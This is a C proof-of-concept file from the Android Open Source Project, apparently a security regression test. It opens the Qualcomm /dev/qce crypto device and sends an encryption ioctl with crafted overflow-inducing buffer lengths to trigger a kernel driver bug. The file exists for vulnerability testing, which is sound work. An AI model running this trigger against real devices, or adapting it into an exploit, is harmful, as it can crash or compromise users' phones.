• Home
  • Line#
  • Scopes#
  • Navigate#
  • Raw
  • Download
1 /*
2  * Copyright (C) 2017 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 #define _GNU_SOURCE
17 
18 #include <stdio.h>
19 #include <unistd.h>
20 #include <stdlib.h>
21 #include <sys/ioctl.h>
22 #include <sys/types.h>
23 #include <sys/stat.h>
24 #include <sys/mman.h>
25 #include <sys/wait.h>
26 #include <string.h>
27 #include <fcntl.h>
28 #include <limits.h>
29 #include <inttypes.h>
30 #include <errno.h>
31 
32 #define QCEDEV_MAX_KEY_SIZE     64
33 #define QCEDEV_MAX_IV_SIZE      32
34 #define QCEDEV_MAX_BUFFERS      16
35 
36 struct  buf_info {
37     union {
38 	uint32_t        offset;
39 	uint8_t         *vaddr;
40     };
41     uint32_t        len;
42 };
43 
44 struct  qcedev_vbuf_info {
45     struct buf_info src[QCEDEV_MAX_BUFFERS];
46     struct buf_info dst[QCEDEV_MAX_BUFFERS];
47 };
48 
49 struct  qcedev_pmem_info {
50     int             fd_src;
51     struct buf_info src[QCEDEV_MAX_BUFFERS];
52     int             fd_dst;
53     struct buf_info dst[QCEDEV_MAX_BUFFERS];
54 };
55 
56 enum qcedev_oper_enum {
57     QCEDEV_OPER_DEC         = 0,
58     QCEDEV_OPER_ENC         = 1,
59     QCEDEV_OPER_DEC_NO_KEY  = 2,
60     QCEDEV_OPER_ENC_NO_KEY  = 3,
61     QCEDEV_OPER_LAST
62 };
63 
64 enum qcedev_cipher_alg_enum {
65     QCEDEV_ALG_DES          = 0,
66     QCEDEV_ALG_3DES         = 1,
67     QCEDEV_ALG_AES          = 2,
68     QCEDEV_ALG_LAST
69 };
70 
71 enum qcedev_cipher_mode_enum {
72     QCEDEV_AES_MODE_CBC     = 0,
73     QCEDEV_AES_MODE_ECB     = 1,
74     QCEDEV_AES_MODE_CTR     = 2,
75     QCEDEV_AES_MODE_XTS     = 3,
76     QCEDEV_AES_MODE_CCM     = 4,
77     QCEDEV_DES_MODE_CBC     = 5,
78     QCEDEV_DES_MODE_ECB     = 6,
79     QCEDEV_AES_DES_MODE_LAST
80 };
81 
82 struct  qcedev_cipher_op_req {
83     uint8_t                         use_pmem;
84     union {
85 	struct qcedev_pmem_info pmem;
86 	struct qcedev_vbuf_info vbuf;
87     };
88     uint32_t                        entries;
89     uint32_t                        data_len;
90     uint8_t                         in_place_op;
91     uint8_t                         enckey[QCEDEV_MAX_KEY_SIZE];
92     uint32_t                        encklen;
93     uint8_t                         iv[QCEDEV_MAX_IV_SIZE];
94     uint32_t                        ivlen;
95     uint32_t                        byteoffset;
96     enum qcedev_cipher_alg_enum     alg;
97     enum qcedev_cipher_mode_enum    mode;
98     enum qcedev_oper_enum           op;
99 };
100 
101 #define QCEDEV_IOC_MAGIC        0x87
102 
103 #define QCEDEV_IOCTL_ENC_REQ					\
104     _IOWR(QCEDEV_IOC_MAGIC, 1, struct qcedev_cipher_op_req)
105 #define QCEDEV_IOCTL_DEC_REQ					\
106     _IOWR(QCEDEV_IOC_MAGIC, 2, struct qcedev_cipher_op_req)
107 
thread_func(int fd)108 void thread_func(int fd)
109 {
110     struct qcedev_cipher_op_req req;
111     unsigned int i;
112     char *data;
113 
114     memset(&req, 0, sizeof(struct qcedev_cipher_op_req));
115 
116     data = mmap(NULL, 0xFFFFFF * 3, PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE|MAP_POPULATE, -1, 0);
117     if (data == MAP_FAILED) {
118 	exit(0);
119     }
120     for (i = 0; i < 0xFFFFFF * 3; i += sizeof(void*))
121 	*((unsigned long long*)(data + i)) = 0xABADACC355001337;
122 
123     req.in_place_op = 1;
124     req.entries = 2;
125     req.byteoffset = 15;
126     req.mode = QCEDEV_AES_MODE_CTR;
127 
128     req.op = QCEDEV_OPER_ENC;
129     req.ivlen = 1;
130     req.data_len = 0xFFFFFFFE;
131     req.vbuf.src[0].len = 4;
132     req.vbuf.src[1].len = 0xFFFFFFFE - 4;
133     req.vbuf.src[0].vaddr = (uint8_t*)data;
134     req.vbuf.src[1].vaddr = (uint8_t*)data;
135     req.vbuf.dst[0].len = 4;
136     req.vbuf.dst[1].len = 0xFFFFFFFE - 4;
137     req.vbuf.dst[0].vaddr = (uint8_t*)data;
138     req.vbuf.dst[1].vaddr = (uint8_t*)data;
139 
140     ioctl(fd, QCEDEV_IOCTL_ENC_REQ, &req);
141 
142     exit(0);
143 }
144 
main(void)145 int main(void)
146 {
147     int fd;
148     const char *dev = "/dev/qce";
149 
150     fd = open(dev, O_RDWR);
151     if (fd < 0) {
152 	return EXIT_FAILURE;
153 
154     }
155     thread_func(fd);
156 
157     return EXIT_FAILURE;
158 }
159